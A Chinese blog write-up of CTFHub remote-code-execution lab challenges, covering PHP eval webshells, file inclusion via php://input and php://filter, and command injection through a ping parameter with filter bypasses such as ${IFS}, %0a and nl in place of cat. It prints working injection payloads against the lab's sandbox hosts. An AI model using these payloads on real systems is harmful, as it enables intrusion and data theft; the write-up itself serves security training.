CTFHub~RCE远程代码执行

在这里插入图片描述

0X01eval执行

# 进来我们直接看到了代码,大致意思就是传入一个参数cmd

image-20240805195106910

# 所以我们直接使用蚁剑进行连接,看一下能否成功

image-20240805195253661

# 接下来我们直接找出flag

image-20240805195358257

image-20240805195406059

0X02文件包含

# 打开页面发现一大堆代码
大体意思是如果file中没有flag字符串就执行下面的include $_GET["file"]否则就输出Hacker。
是将ctfhub传的参数使用php执行的,题目的意思也是让用shell木马

image-20240805201746663

# 所以我们直接使用hackber
payload:?file=shell.txt
post传参:ctfhub=system("ls"); 查看当前目录

image-20240805203011529

# 然后再上一级目录,不断尝试发现成功
ctfhub=system("ls ../../../");

image-20240805203220663

# 由于我们现在在根目录下,所以直接cat /flag

image-20240805203356535

0X03php://input

# 发现页面是代码,我们解析了一下发现大体的意思是:
如果有就输出hacker

没有就进行include

PHPinfo当中也表明php://input可以用

image-20240805195944460

# 所以我们通过抓包来构造
payload:?file=php://input
post传参:<?php system("ls"); ?> 查看当前目录

image-20240805200231653

image-20240805200444282

# 没有发现,再上一级

image-20240805200631337

# 还是没有发现,继续上一级

image-20240805200707162

# 还是没有flag,继续上一级

image-20240805200815628

# 发现flag,我们直接在根目录下查看falg的内容

image-20240805201249935

0X04远程包含

# 这页面一看就有文件包含

image-20240805203634171

# 检查一下phpinfo的环境是否有问题,发现allow开关都是打开的

image-20240805203832515

# 因此我们直接使用hackber
payload:?file=php://input
post传参:<?php system("ls"); ?> 查看当前目录

image-20240805204211219

# 发现hackbar整不出来,所以我们只能使用burp抓包测试

image-20240805205100172

# 因此,我们只需要cat /flag就可以拿捏了

image-20240805205154274

0X05读取源代码

# 看一下页面,发现和前面差不多,开整

image-20240805210457747

# 既然要等于php://  和上面的题一样,我们直接梭哈

image-20240805210825431

# 呀,发现闹不成,那我们就得引用伪协议,开始php://filter/resource=/flag干

image-20240805211012167

# 好家伙,直接拿下

image-20240805211120068

0X06命令注入

# 继续看页面的源代码
大概意思是检查用户输入的 GET 请求,判断用户是否输入了 ip 信息。如果输入了 ip 信息,则使用用户输入的这个 ip 数据执行一个 shell 命令 "ping -c 4" 

image-20240805211910528

# 输入127.0.0.1,发现可以正常回显

image-20240805212028426

# 在url中加上管道符和ls  发现两个文件夹
http://challenge-dbbf1149e465c434.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | ls

image-20240805212208915

# 所以我们直接访问,因为index.php就是这个页面,所以我们访问另一个
http://challenge-dbbf1149e465c434.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | cat 28676317279045.php

image-20240805212401111

image-20240805212511619

# 发现页面什么也没有,我们看一下源代码

image-20240805212640154

成功拿捏!!!

0X07过滤cat

# 查看页面,我们直接输入127.0.0.1看一下

image-20240805213115386

# 没啥问题,那我们使用管道符查看一下文件
http://challenge-e24162a8e64e3beb.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | ls

image-20240805213230749

# 又发现这个可疑的家伙,可是我们这题把cat给过滤了 既然知道是linux系统,我们就可以使用其他方法去查看文件
http://challenge-e24162a8e64e3beb.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | more flag_28930242863161.php

image-20240805213520640

# 发现又看不了flag,只能继续查看页面源码

image-20240805213617294

0X08过滤空格

# 还是查看页面然后输入127.0.0.1

image-20240805213826953

# 发现还是没啥问题,但是过滤了空格,所以我们得找一个替换看一下文件
http://challenge-f07b17a6d186a83d.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls

//常见方法有< 、< >、%20(space)、%09(tab)、\$IFS\$9、 \${IFS}、$IFS等

image-20240805214115839

# 找到了flag,所以我们直接使用绕过方法来查看
http://challenge-f07b17a6d186a83d.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat%3Cflag_64452980321037.php

image-20240805214305581

# 无法查看页面,直接查看源代码得出flag

image-20240805214346790

0X09过滤目录分隔符

# 查看页面我们还是输入127.0.0.1

image-20240805214853000

# 没啥大问题 我们查看发现有一个目录,所以我们得进这个目录后在操作

image-20240805215059978

# 既然目录分隔符让过滤了,所以我们就一步一步执行
http://challenge-2c4c30ba2ea7d9a8.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls;cd flag_is_here

image-20240805215728013

# 下一步我们就要看它目录下的文件了
http://challenge-2c4c30ba2ea7d9a8.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls;cd%20flag_is_here;ls

image-20240805215821819

# 然后再进行查看flag
http://challenge-2c4c30ba2ea7d9a8.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls;cd%20flag_is_here;ls;cat%20flag_147411187822789.php

image-20240805215933689

# 看源码然发现flag

image-20240805220034669

0X0a过滤运算符

# 查看页面然后输入127.0.0.1

image-20240805220224865

# 没大问题,过滤运算符,我们试一下;行不行
http://challenge-b07dfe86254f8b96.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

image-20240805220345371

# 发现可以,那么直接看文件flag就可以了
http://challenge-b07dfe86254f8b96.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat%20flag_55811578117307.php

image-20240805220444397

# 继续看源码出结果

image-20240805220522467

0X0b综合过滤练习

# 这道题提示我们过滤前几个小结的,我们大概就知道怎么回事了

image-20240805221608328

# ls没过滤,但是过滤;,所以我们使用%0a来代替
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

image-20240805221723248

# ls执行成功,看到了flag的位置,这里cat被过滤,可以使用nl之类的代替,空格可以用${IFS}代替,在没有定义的情况下,$*在shell命令执行下为空,url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=%0Als${IFS}fl$*a$*g_is_here#

image-20240805221837583

# 现在我们要查看flag
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd${IFS}fl$*a$*g_is_here%0anl${IFS}f$*la$*g_5740333213378.php#

image-20240805222040664

# 现在我们要查看flag
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd${IFS}fl$*a$*g_is_here%0anl${IFS}f$*la$*g_5740333213378.php#
# 还是得看源码

image-20240805222104427
好小子,离成功又近一步!!!

  • 10
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值